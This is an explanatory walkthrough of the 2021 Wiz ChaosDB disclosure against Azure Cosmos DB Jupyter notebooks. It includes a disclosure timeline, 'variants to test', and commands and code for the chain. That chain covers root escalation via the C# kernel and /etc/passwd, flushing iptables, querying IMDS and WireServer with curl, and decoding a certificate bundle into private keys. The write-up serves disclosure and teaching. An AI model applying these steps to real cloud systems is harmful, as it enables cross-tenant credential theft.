On 14 August 2021 the researchers observed that the vulnerable feature had been disabled. On 16 August some of the obtained credentials had been revoked. The report does not describe any further code-level changes. The researchers' own recommendation concerns the firewall rules: enforce them outside the Jupyter Notebook container, where a hacker cannot bypass them even with root privileges.
Disclosure timeline
- August 09 2021: Wiz Research Team first exploited the bug and gained unauthorised access to Cosmos DB accounts.
- August 11 2021: Wiz Research Team confirmed intersection with Wiz customers.
- August 12 2021: Wiz Research Team sent the advisory to Microsoft.
- August 14 2021: Wiz Research Team observed that the vulnerable feature had been disabled.
- August 16 2021: Microsoft Security Response Center (MSRC) confirmed the reported behaviour (MSRC Case 66805).
- August 16 2021: Wiz Research Team observed that some obtained credentials had been revoked.
- August 17 2021: MSRC awarded a $40,000 bounty for the report.
- August 23 2021: MSRC confirmed that several thousand customers were affected.
- August 23 2021: MSRC and Wiz Research Team discussed public disclosure strategy.
- August 25 2021: Public disclosure.
Variants to test
- Language-specific host processes in embedded notebooks. Run the same trivial command in each supported language (Python, C#, others) and compare the resulting user. A positive result is any language whose host process runs as root while the others run as an unprivileged user.
- Locally enforced egress rules. From inside a container you control, list
iptablesrules and tryiptables -Fas root, then reach the blocked addresses. A positive result is a metadata service or internal subnet that becomes reachable after the flush. - Metadata service identity mismatch. Query
[redacted]from inside a container and compareosType, subscription ID and subnet with the container's own. A positive result is metadata describing a host you do not own, or a subnet you were told not to reach. - WireServer certificate endpoint with a self-supplied transport certificate. Send
comp=certificateswith your ownx-ms-guest-agent-public-x509-certand inspect the returned<Format>. A positive result is a bundle you can decrypt with your own key that contains certificates and private keys beyond the one expected. - Service Fabric gateway exposure. Scan for port 19080 on the provider's address space and attempt authentication with a certificate recovered from a host. A positive result is a successful login to a cluster in a region unrelated to the certificate's origin.
- Shared cluster secret listings. After authenticating to a Service Fabric cluster, run
sfctl application listand look for per-tenant encrypted fields. A positive result is secrets belonging to accounts other than yours, decryptable with a certificate you already hold.
What happened, in plain words
In August 2021, two researchers at a cloud security company called Wiz, Nir Ohfeld and Sagi Tzadik, found a way to gain access to the databases of several thousand Microsoft Azure customers. The product involved was Azure Cosmos DB, Microsoft's managed database service. The feature that let them in was a small built-in coding playground called a Jupyter Notebook, which Cosmos DB customers could open in their browser to run code against their database.
The researchers did not guess a password or break any encryption. They walked through a chain of small configuration mistakes, each one opening the door to the next, until they held keys that unlocked other customers' databases. They reported it to Microsoft, Microsoft paid a $40,000 bounty, and public disclosure followed on 25 August 2021.
This article walks through the same steps the researchers took, in the same order, explaining every idea from scratch. If you can use a browser, you can follow it.
Background: the pieces involved
What is Azure Cosmos DB?
Azure is Microsoft's cloud: a collection of rented computers and services you reach over the internet. Cosmos DB is one of those services. It is a database, meaning a place where an application stores and retrieves its data, such as user profiles, orders or messages. Microsoft describes it as a "fully managed NoSQL database for modern app development", with "single-digit millisecond response times, with automatic and instant scalability". "Fully managed" means Microsoft runs the servers for you; you just use the database. It launched in May 2017 and is used by high-profile customers, including many Fortune 500 companies.
To use a Cosmos DB database, an application sends requests to an address (the endpoint) and proves it is allowed in by presenting a secret string called an API key. An API is simply the way one piece of software talks to another: a defined set of addresses and formats for requests. The key used for full control is called the Primary Key. The researchers compare the Primary Key to the root password of a traditional database server: whoever has it can do anything.
What is a Jupyter Notebook?
Jupyter is an open-source web application for creating and sharing documents that contain live code, equations, visualisations and narrative text. In plain terms, it is a web page with boxes where you type code, press run, and see the result immediately, mixed with notes. Cosmos DB instances came with an embedded Jupyter Notebook container. A container is a packaged, isolated mini-computer: its own little file system and processes, running on a larger machine. The notebook offered terminal access (a text prompt where you type commands) and the ability to interact with the Cosmos DB instance in several programming languages, including Python and C#.
The credentials for the Cosmos DB account were pre-configured in the environment variables of the container image, so that the software development kit (SDK, a helper library for programmers) could use them transparently. Environment variables are named values a program can read at startup, a bit like sticky notes attached to the container.
The overall plan
The researchers' high-level workflow was:
- Set up a Jupyter Notebook container on your Azure Cosmos DB
- Run any C# code to obtain root privileges
- Remove firewall rules set locally on the container in order to gain unrestricted network access
- Query WireServer to obtain information about installed extensions, certificates and their corresponding private keys
- Connect to the local Service Fabric, list all running applications, and obtain the Primary Key to other customers' databases
- Access Service Fabric instances of multiple regions over the internet
Each numbered step is explained below.
The tools used
The researchers worked from inside the Jupyter Notebook container attached to a Cosmos DB account. They knew that, by design, the notebook allows arbitrary code execution. Along the way they used the embedded Jupyter terminal and the default Python3 notebook, a C# notebook, iptables (the Linux tool that manages network filtering rules), curl (a command-line tool for sending web requests), jq (a tool for pretty-printing JSON data), OpenSSL (a toolkit for encryption and certificates), ILSpy (a tool that turns compiled C# programs back into readable code), sfctl (a command-line tool for talking to Service Fabric), Azure Storage Explorer (a desktop app for browsing Azure storage), and Google Chrome for web pages that ask for a certificate.
Finding it
The starting observation was simple: the notebook executes code, so the question was what privilege that code runs with. On a computer, not every program is equally powerful. An ordinary user can change their own files; the root user (administrator) can change anything, including the system itself. When the researchers used the embedded Jupyter terminal or the default Python3 notebook, their code ran as an unprivileged, non-sudo user named cosmosuser, which appears to be the developers' intent. When they executed C# code, it ran with root privileges.
Every language the notebook supports has its own host process that executes user-supplied code and passes the output to the web interface. For C# specifically, that host process was running as root, so any C# code was executed as root too. The researchers call this a misconfiguration and used it to escalate inside the container.
Exploitation
Step 1: local privilege escalation through the C# notebook
"Privilege escalation" means moving from a low-power account to a more powerful one. "Local" means it happens inside the same machine or container, without going over the network.
With root available through the C# host process, the researchers appended a line to /etc/passwd, creating a new user with uid=0 and gid=0, then switched to that user with su, which gave them effective root inside the container. /etc/passwd is the Linux file that lists user accounts; uid and gid are the numeric user and group identifiers, and 0 is the identifier reserved for root. su is the command that switches to another user. The motivation was curiosity about the environment: who owns it, and is it shared across users? As root, they hoped to answer that.
Step 2: removing the local firewall
A firewall is a filter that decides which network destinations a machine may talk to. As root they inspected the container's iptables rules to see which network resources they could and could not reach. The rules blocked three addresses:
[redacted], the IMDS Metadata Service[redacted]/16, an internal subnet the researchers were not familiar with[redacted], another unfamiliar IP address
An IP address is the numeric address of a machine on a network, like a street address. A subnet is a range of addresses treated as one neighbourhood; [redacted]/16 is a large private range. Because the rules were configured locally on the container where they now had root, clearing them took one command:
iptables -F
iptables is the Linux firewall tool. The -F option means flush: delete every rule in the current rule set. One command, and the three blocked destinations became reachable. The researchers note that a safer place to enforce such rules is outside the Jupyter Notebook container, where a hacker cannot bypass them even with root privileges, because root inside the container would no longer be root over the filter.
Step 3: querying IMDS
[redacted] is the Azure Instance Metadata Service, or IMDS. "Metadata" means data about data: here, information about the virtual machine itself, such as its storage and network configuration. A virtual machine (VM) is a computer simulated in software on a larger physical host. A single HTTP request returns information unique to the VM. The researchers sent one and found three things that did not fit their container:
- The Azure environment was
AzurePublicCloud, and the subscription ID was not a subscription they owned. A subscription is the billing and ownership container for Azure resources. osTypewasWindows, even though they were running Linux commands on a Linux terminal.- The machine had an IP address in the
[redacted]/16subnet, the same subnet the firewall rules had been protecting.
Together these showed they were not querying the metadata service of their container but of the host machine, which appeared to live in a shared environment. In other words, the little notebook container was a guest on a much bigger Windows computer that also hosted other people's work.
root@notebook:/home/cosmosuser# curl -s -H Metadata:true --noproxy "*" "http://[redacted]/metadata/instance?api-version=2021-02-01" | jq
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "CV2CW02_3",
"offer": "WindowsServer",
"osProfile": {
"adminUsername": "cosmosadmin",
"computerName": "CV2CW02000003",
"disablePasswordAuthentication": ""
},
"osType": "Windows",
"placementGroupId": "[REDACTED]",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "3",
"platformUpdateDomain": "3",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "MicrosoftWindowsServer",
"resourceGroupName": "eastus-cdb-ms-prod-eastus1-cs1",
"resourceId": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/virtualMachineScaleSets/CV2CW02/virtualMachines/3",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "datacenter-core-2004-with-containers-smalldisk",
"storageProfile": {
"dataDisks": [
{
"caching": "None",
"createOption": "Empty",
"diskSizeGB": "128",
"image": {
"uri": ""
},
"lun": "0",
"managedDisk": {
"id": "/subscriptions/[REDACTED]/resourceGroups/EASTUS-CDB-MS-PROD-EASTUS1-CS1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_disk2_[REDACTED]",
"storageAccountType": "Premium_LRS"
},
"name": "CV2CW02_CV2CW02_3_disk2_[REDACTED]",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
}
],
"imageReference": {
"id": "",
"offer": "WindowsServer",
"publisher": "MicrosoftWindowsServer",
"sku": "datacenter-core-2004-with-containers-smalldisk",
"version": "19041.985.2105050408"
},
"osDisk": {
"caching": "ReadOnly",
"createOption": "FromImage",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/[REDACTED]/resourceGroups/eastus-cdb-ms-prod-eastus1-cs1/providers/Microsoft.Compute/disks/CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
"storageAccountType": "Premium_LRS"
},
"name": "CV2CW02_CV2CW02_3_OsDisk_1_[REDACTED]",
"osType": "Windows",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "4096000"
}
},
"subscriptionId": "[REDACTED]",
"tags": "federationName:cdb-ms-prod-eastus1-cs1;platformsettings.host_environment.service.platform_optedin_for_rootcerts:true",
"tagsList": [
{
"name": "federationName",
"value": "cdb-ms-prod-eastus1-cs1"
},
{
"name": "platformsettings.host_environment.service.platform_optedin_for_rootcerts",
"value": "true"
}
],
"userData": "",
"version": "19041.985.2105050408",
"vmId": "[REDACTED]",
"vmScaleSetName": "CV2CW02",
"vmSize": "SQLG5_NP80s",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "[redacted]",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "[redacted]",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "[REDACTED]"
}
]
}
Line by line, in plain words:
curlsends a web request.-skeeps it quiet (no progress bar).-H Metadata:trueadds a header, which is extra information attached to a request, like a note on an envelope; here it tells the metadata service that the caller knows the required convention.--noproxy "*"tells curl not to route the request through any proxy. The URL is the metadata endpoint, andapi-version=2021-02-01picks the version of the service. The| jqpart pipes the answer intojq, which formats it neatly.- The
computesection describes the machine:azEnvironmentisAzurePublicCloud,locationiseastus(an Azure region),nameisCV2CW02_3,offerisWindowsServer, andosTypeisWindows. osProfile.adminUsernameiscosmosadmin, andcomputerNameisCV2CW02000003.resourceGroupNameiseastus-cdb-ms-prod-eastus1-cs1, andresourceIdshows the machine belongs to a virtual machine scale set namedCV2CW02, virtual machine number 3. A scale set is a group of identical VMs managed together.subscriptionIdis redacted, and thetagsincludefederationName:cdb-ms-prod-eastus1-cs1andplatformsettings.host_environment.service.platform_optedin_for_rootcerts:true.- The
networksection gives the private address[redacted]inside the subnet[redacted]/24.
So the response describes a Windows Server host in eastus, part of a VM scale set named CV2CW02, in the resource group eastus-cdb-ms-prod-eastus1-cs1, with a private address of [redacted] in the [redacted]/24 subnet.
Step 4: querying WireServer
Searching for [redacted] led the researchers to the WireServer, a virtual IP address that exists on every Azure VM. Microsoft offers almost no official documentation for it; the researchers credit Paul Litvak from Intezer with prior research on WireServer vulnerabilities. WireServer manages aspects and features of VMs in Azure, in particular the extensions of every Azure VM. Extensions are software applications Azure manages, either first-party software such as Azure's log analytics agent or supported third-party software such as Datadog. Every Azure VM comes pre-installed with one of two agents, one for Windows and one for Linux, and WireServer is effectively the backend those agents query for the information they need. An agent here is a small helper program that runs on the machine and asks the backend what it should do.
The Linux agent, WA-Agent or WA-Linux-Agent, is open source on GitHub, so the researchers read its source to learn the WireServer endpoints. Three endpoints mattered:
Goal state: a phone book of endpoints the agent needs to query to fetch configuration settings. Any Azure VM's Goal State can be downloaded with a simplecurlcommand.ExtensionsConfig: information about all extensions installed on the VM. These configurations sometimes contain sensitive information such as hardcoded passwords or keys, and that information is encrypted.Certificates: the encryption keys used to decrypt the encrypted segments in the ExtensionsConfig.
They first fetched the Goal State:
What this shows:
- The command asks
[redacted]on port 80 for the goal state, identifying itself with two headers:x-ms-agent-name: WALinuxAgent(pretending to be the Linux agent) andx-ms-version: 2012-11-30(the protocol version). - The answer is XML, a text format that uses tags in angle brackets to structure data.
<Version>and<Incarnation>say which version of the configuration this is; incarnation 19 is a counter that changes when the configuration changes.<Machine>describes the expected state of the machine.<Container>and<RoleInstance>identify this particular instance.<Configuration>is the phone book: it lists URLs forHostingEnvironmentConfig,SharedConfig,ExtensionsConfig,FullConfigandCertificates, all under[redacted]:80and tied to incarnation 19.<ServiceManagementInfo>lists two more URLs for service management.
The researchers then queried the ExtensionsConfig URL:
root@notebook:/home/cosmosuser# curl -s "http://[redacted]:80/machine/82daf2f0-1c7a-45e5-9be6-<REDACTED>/f2a6f11f-ad20-4bb3-839f-<REDACTED>._CV2FI02_0?comp=config&type=extensionsConfig&incarnation=19" -H "x-ms-agent-name: WALinuxAgent" -H "x-ms-version: 2012-11-30"
<?xml version="1.0" encoding="utf-8"?>
<Extensions version="[redacted]" goalStateIncarnation="19"><GuestAgentExtension xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<GAFamilies>
<GAFamily>
<Name>Win7</Name>
</GAFamily>
<GAFamily>
<Name>Win8</Name>
<Uris> <Uri>https://zrd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>07.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r01a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r10a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r05a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>05.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>01.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://brd<REDACTED>04.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r09a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>03.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>09.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://zrd<REDACTED>r03a.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri> <Uri>https://rd<REDACTED>02.blob.core.windows.net/bfd5c281a7dc4<REDACTED>/Microsoft.WindowsAzure.GuestAgent_CRPProd_uswest_manifest.xml</Uri>
</Uris>
</GAFamily>
</GAFamilies>
<Location>westus</Location>
<ServiceName>CRP</ServiceName>
</GuestAgentExtension>
<StatusUploadBlob statusBlobType="PageBlob">https://md-<REDACTED>.z13.blob.storage.azure.net/$system/CV2FI02_0.6eb0b152-261a-4bc7-89ae-<REDACTED>.status?sv=2018-03-28&sr=b&sk=system-1&[redacted]&se=9999-01-01T00%3a00%3a00Z&sp=w</StatusUploadBlob>
<Plugins>
<Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="[redacted]" location="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://brd<REDACTED>04.blob.core.windows.net/<REDACTED>/Microsoft.Azure.Security.Dsms_DSMSForWindows_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
<Plugin name="Microsoft.Azure.ServiceFabric.ServiceFabricNode" version="[redacted]" location="https://zrd<REDACTED>07.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" state="enabled" autoUpgrade="true" failoverlocation="https://rd<REDACTED>02.blob.core.windows.net/<REDACTED>/Microsoft.Azure.ServiceFabric_ServiceFabricNode_uswest_manifest.xml" runAsStartupTask="false" isJson="true" useExactVersion="true" />
</Plugins>
<PluginSettings>
<Plugin name="Microsoft.Azure.Security.Dsms.DsmsForWindows" version="[redacted]">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"protectedSettingsCertThumbprint": "[redacted]",
"protectedSettings": "MIIB0AYJK<REDACTED>"
}
}
]
}</RuntimeSettings>
</Plugin>
<Plugin name="Microsoft.Compute.CustomScriptExtension" version="1.10.12">
<DependsOn dependencyLevel="1">
<DependsOnExtension handler="Microsoft.Azure.Security.Dsms.DsmsForWindows" />
</DependsOn>
</Plugin>
<Plugin name="Microsoft.Azure.Geneva.GenevaMonitoring" version="[redacted]">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {}
}
}
]
}</RuntimeSettings>
</Plugin>
<Plugin name="Microsoft.Azure.Security.AntimalwareSignature.AntimalwareConfiguration" version="2.58.15">
<RuntimeSettings seqNo="2">{
"runtimeSettings": [
{
"handlerSettings": {
"publicSettings": {}
}
}
]
}</RuntimeSettings>
</Plugin>
</PluginSettings>
What this shows:
- The URL is the
ExtensionsConfigaddress from the Goal State, withcomp=config&type=extensionsConfig&incarnation=19selecting the right document. The same two headers identify the caller as the Linux agent. <GAFamilies>lists families of guest agents, with download locations for their manifests.<Location>westus</Location>and<ServiceName>CRP</ServiceName>say which region and service this belongs to.<StatusUploadBlob>is a storage address where the agent uploads its status.<Plugins>lists installed extensions, each with a name, version, download location and state. Two appear here:Microsoft.Azure.Security.Dsms.DsmsForWindowsandMicrosoft.Azure.ServiceFabric.ServiceFabricNode.<PluginSettings>holds each extension's settings. NoticeprotectedSettingsCertThumbprintandprotectedSettings: the latter is a long encoded blob, which is the encrypted sensitive part.
The VM had several configured extensions:
Microsoft.Azure.Security.Dsms.DsmsForWindowsMicrosoft.Azure.Geneva.GenevaMonitoringMicrosoft.Azure.Security.AntimalwareSignature.AntimalwareConfigurationMicrosoft.Compute.CustomScriptExtensionMicrosoft.Azure.ServiceFabric.ServiceFabricNodeMicrosoft.Compute.CustomScriptExtension
These were most likely installed on the Windows host, not on the private Linux container. The next step was to extract information from these configurations in the hope of finding secrets for lateral movement inside the Cosmos DB environment. Lateral movement means moving from one compromised machine to another, the way a burglar moves from room to room once inside a building.
Step 5: retrieving the decryption keys
Most extensions have two sections: publicSettings, plain text with generic information about the extension and its settings, and protectedSettings, encrypted, holding sensitive information. Encryption is scrambling data with a key so that only someone holding the matching key can unscramble it. Hardcoded credentials and other sensitive data are supposed to live in protectedSettings. The agent decrypts that data with keys from the Certificates endpoint, but first it must supply a self-signed transport certificate that is used to encrypt the certificate bundle. A certificate is a digital document that binds a public key to an identity; self-signed means it vouches for itself rather than being signed by an authority. That transport certificate is not validated by the server, so the researchers could supply their own instead of one generated by the host's agent. The public key goes in the x-ms-guest-agent-public-x509-cert header.
What this shows:
- The request asks for the certificate bundle with
comp=certificates, names the cipherDES_EDE3_CBC(the encryption algorithm to use), and supplies the researcher's own public certificate inx-ms-guest-agent-public-x509-cert. - The
-vflag makes curl print the whole conversation: the lines starting with>are what curl sent, the lines starting with<are what the server answered. The server repliesHTTP/1.1 200 OK, meaning success, withContent-Length: 218769bytes of data. - The response is a
CertificateFilewhose<Format>isCertificatesBondPackage, and whose<Data>is a long encoded blob.
In every other service the researchers had queried, the Certificates endpoint returned certificates encoded as Pkcs7BlobWithPfxContents, a bundle encrypted so that only the private key matching the supplied public key can decrypt it. On the Jupyter Notebook environment the same steps returned the Certificates Bond Package format instead, which the researchers had never seen. The usual OpenSSL commands for the standard format did not work, so they set out to decode it.
Step 6: decoding the Certificates Bond Package
Searching Google for the format produced nothing. The researchers then decided to reverse engineer the WireServer clients, the VM agents, reasoning that anything that knew how to decode the format would be an agent relying on it. Reverse engineering means taking something apart to understand how it works. The Linux agent source contained no reference to the format. The Windows agent was the better target: according to IMDS, the host was a Windows VM, so all WireServer responses were meant for the Windows agent, not the Linux one.
The Windows virtual machine agent, Windows Azure Guest Agent.exe, is not open source, but it is written in C#, so it can be decompiled fairly easily. Decompiling means turning a finished program back into readable source code. The researchers used ILSpy and found the first reference to the CertificatesBondPackage format, together with its handling code, in Microsoft.WindowsAzure.RoleContainer.dll and Microsoft.WindowsAzure.Security.CredentialsManagement.Package.dll, both part of the Windows Azure Guest Agent.
Using existing functionality of the Windows agent, they wrote a snippet that mimics the agent's decoding of the Certificates Bond Package to obtain the keys in the familiar pkcs7 file format:
using Microsoft.Cis.Fabric.CertificateServices;
using Microsoft.WindowsAzure.GuestAgent.CertificateManager;
using Microsoft.WindowsAzure.Security.CredentialsManagement.Package;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
using Bond.IO;
using Bond.IO.Unsafe;
using RD.Security.Dsms;
using Bond;
using Bond.Protocols;
namespace ConsoleApp2
{
class Program
{
static void Main(string[] args)
{
byte[] cert = File.ReadAllBytes(@"cerificate_bond.bin");
InputBuffer input = new InputBuffer(cert);
ManagedCertificatesPackage managedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input, 1)).ManagedCertsPackage;
var managedCertData = managedCertsData.CertsData;
byte[] array = new byte[managedCertData.Count];
Array.Copy(managedCertData.Array, managedCertData.Offset, array, 0, managedCertData.Count);
byte[] data = array;
File.WriteAllBytes(@"ManagedCertsPackage.bin", data);
InputBuffer input2 = new InputBuffer(cert);
ArraySegment<byte> unmanagedCertsData = Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input2, 1)).UnmanagedCertsData;
var unmanagedCertData = unmanagedCertsData;
byte[] array2 = new byte[unmanagedCertData.Count];
Array.Copy(unmanagedCertData.Array, unmanagedCertData.Offset, array2, 0, unmanagedCertData.Count);
byte[] data2 = array2;
File.WriteAllBytes(@"UnmanagedCertsData.bin", data2);
}
}
}
What this does, line by line:
- The
usinglines import libraries, which are collections of ready-made code. Some belong to Microsoft's guest agent and certificate services, some to the Bond serialisation library, which turns structured data into bytes and back. class Programandstatic void Maindefine the entry point of the program.File.ReadAllBytes(@"cerificate_bond.bin")reads the downloaded bundle from a file into a byte array, a sequence of raw bytes.Deserialize<SecretsPackage>.From(new CompactBinaryReader<InputBuffer>(input, 1))turns those bytes back into a structuredSecretsPackageobject, using Bond's compact binary format..ManagedCertsPackagepicks the managed certificates part;.CertsDatagets its bytes; theArray.Copylines copy them into a clean array;File.WriteAllBytes(@"ManagedCertsPackage.bin", data)writes them to a file.- The second half repeats the same steps for
.UnmanagedCertsDataand writesUnmanagedCertsData.bin.
In short, the snippet deserialises the Bond package into a SecretsPackage, extracts the managed and unmanaged certificate data, and writes each to its own file.
After decoding and decrypting the package, the researchers expected two keys, a private key and a public key used to encrypt and decrypt the protected settings. They got back 25 keys: 25 Microsoft certificates and their corresponding private keys.
user@laptop:~/cosmos$ grep subject ManagedCertificates.pem
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = [redacted].by.cosmos.azure.com
subject=CN = [redacted]-secrets.by.cosmos.azure.com
subject=CN = [redacted].by.cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = [redacted].cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = [redacted]-secrets.by.cosmos.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = /certificates/selfsigned/agentidcert/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>-by5prdapp04-f2a6f11f-ad20-4bb3-839f-<REDACTED>--/crpcustomers/services/vmss/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>_wf/by5prdapp04_f2a6f11f-ad20-4bb3-839f-<REDACTED>--by5prdapp04.fc.core.windows.net--f2a6f11f-ad20-4bb3-839f-<REDACTED>--uswest-dsms.dsms.core.windows.net
subject=CN = *.notebook.cosmos.azure.com
subject=CN = [redacted].cosmos.azure.com
subject=CN = fabric.westus1.cosmos.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = fabricsecrets.documents.azure.com
subject=CN = [redacted].cosmos.azure.com
subject=CN = secrets-kek.documents.azure.com
subject=CN = *.notebook.cosmos.azure.com
subject=CN = [redacted].by.cosmos.azure.com
subject=CN = [redacted]-secrets.by.cosmos.azure.com
subject=CN = metricsclient.geneva.core.windows.net
user@laptop:~/cosmos$ grep subject UnmanagedCertificates.pem
subject=DC = Windows Azure CRP Certificate Generator
What this shows:
grep subjectsearches a file for lines containing the wordsubjectand prints them. In a certificate, the subject is the name of the entity the certificate belongs to, shown here asCN = ..., where CN stands for Common Name.- The first file,
ManagedCertificates.pem, lists many names, includingfabricsecrets.documents.azure.com,secrets-kek.documents.azure.com,fabric.westus1.cosmos.azure.comand*.notebook.cosmos.azure.com. The asterisk is a wildcard:*.notebook.cosmos.azure.comcovers every notebook hostname under that domain. - The second file,
UnmanagedCertificates.pem, lists one:DC = Windows Azure CRP Certificate Generator.
The bundle contained certificates the researchers probably should not have had. They singled out three:
fabricsecrets.documents.azure.comfabric.westus1.cosmos.azure.com*.notebook.cosmos.azure.com, which on its own allows interception of encrypted SSL traffic of customers' Jupyter Notebooks running on the host Windows VM
SSL (now usually called TLS) is the encryption that protects web traffic. Intercepting it means being able to read or alter the traffic between a customer's browser and their notebook, because you hold a certificate the browser would trust for that name.
Step 7: storage accounts and the internal Service Fabric
Returning to the ExtensionConfig, the researchers noticed that the ServiceFabricNode extension's public settings contained the cluster endpoint of the machine's Service Fabric cluster and the common name of the certificate required for authentication:
"publicSettings": {"clusterEndpoint":"https://westus.servicefabric.azure.com/runtime/clusters/83bd67e7-7bb1-4f4f-826f-<REDACTED>", ...snip... ,"certificate":{"commonNames":["fabric.westus1.cosmos.azure.com"],"x509StoreName":"My"}}
What this shows: clusterEndpoint is the web address of the Service Fabric cluster, and certificate.commonNames says which certificate name is accepted for logging in, namely fabric.westus1.cosmos.azure.com. x509StoreName names the local certificate store where the certificate is kept.
Opening the clusterEndpoint URL in Google Chrome prompted for a client certificate. A client certificate is the client's own proof of identity, the way a passport proves who you are at a border. The researchers used the fabric.westus1.cosmos.azure.com certificate obtained from WireServer, since it was named in the extension's publicSettings. The response was a large XML manifest with cluster information, including connection strings to several Azure Storage Accounts that can be accessed with the Storage Account Key found in the decrypted protectedSettings of the ExtensionConfig:
What this shows: four <Section> blocks, each describing where Service Fabric sends a kind of data. AzureBlobServiceFabricCrashDump is for crash dumps, AzureBlobServiceFabricEtw for event logs, AzureBlobServiceFabricPerfCounter for performance counters, and AzureTableServiceFabricEtwQueryable for queryable event logs. Each has a ContainerName (the storage folder) and a StoreConnectionString naming the storage account and the key name StorageAccountKey1 that unlocks it. A connection string is a compact line containing everything needed to connect: address, account name and which key to use.
The researchers also documented the OpenSSL commands they used to decrypt the protectedSettings section:
user@laptop:~/cosmos$ ls -la
total 144
drwxr-xr-x 2 user user 4096 Aug 9 20:37 .
drwxr-xr-x 3 user user 4096 Aug 9 19:53 ..
-rw------- 1 user user 121900 Aug 9 18:32 ManagedCertificates.pem
